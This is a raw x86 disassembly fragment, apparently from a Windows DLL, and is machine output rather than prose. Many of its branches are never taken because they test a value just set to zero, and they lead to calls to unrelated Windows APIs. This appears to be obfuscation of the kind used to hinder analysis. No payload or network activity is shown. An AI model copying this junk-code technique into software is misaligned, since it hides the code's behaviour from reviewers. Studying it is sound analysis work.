cmp dword [ebp - 0x1c], eax
jle 0x10017044
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov byte [ebp - 0x2d], al
mov dword [ebp - 0x18], 7
push 5
mov dword [ebp - 0x2c], eax
pop esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x14], eax
jmp 0x100170ad
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1204], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001709c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x100170d7
xor ebx, ebx
lea ecx, [ebp - 0xdb4]
inc ebx
mov dword [ebp - 0x34], ebx
push 3
call fcn.100136d3
or edx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x14], eax
jmp 0x10017244
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xdb4]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10017231
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x34], eax
jne 0x1001730e
mov dword [ebp - 0x40], 0xd006
dec dword [ebp - 0x24]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0xdb4]
call fcn.10013d7e
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffff3
jl 0x100172d5
push 7
pop eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], 0xfffffff2
jl 0x100172cc
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100172c0
push 0x22c
push eax
push 0x2394
push eax
push 0x267f
push eax
call dword [sym.imp.KERNEL32.dll_CompareStringW]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff2
jge 0x1001729d
push 7
pop eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff3
jge 0x1001728b
push 3
lea ecx, [ebp - 0x374]
call fcn.100136d3
xor eax, eax
xor edx, edx
mov dword [ebp - 0x1c], eax
inc edx
cmp dword [ebp - 0x1c], edx
jge 0x10017306
or ecx, 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd8c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100172f2
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10017394
xor eax, eax
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x14], eax
jmp 0x10017329
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x46c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1001731c
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp eax, 0x37bb
setle cl
cmp ecx, edx
sbb eax, eax
neg eax
cmp eax, 0x9ddcef98
sbb ecx, ecx
xor eax, eax
neg ecx
add ecx, dword [ebp - 0x46c]
cmp ecx, 0x37ac
setne al
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10017268
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
jmp 0x1001726e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x374]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10017385
mov eax, dword [ebp - 0x374]
and dword [eax], 0
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100173b6
push eax
call dword [sym.imp.USER32.dll_CreateIconIndirect]
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100173da
push eax
push 0x376
push 0x790
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
mov eax, dword [ebp - 0x374]
inc dword [eax]
mov edx, dword [eax]
test edx, edx
jle 0x100173a3
or ecx, 0xffffffff
xor eax, eax
cmp edx, ecx
setge al
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, 0x4e6d
jg 0x10017415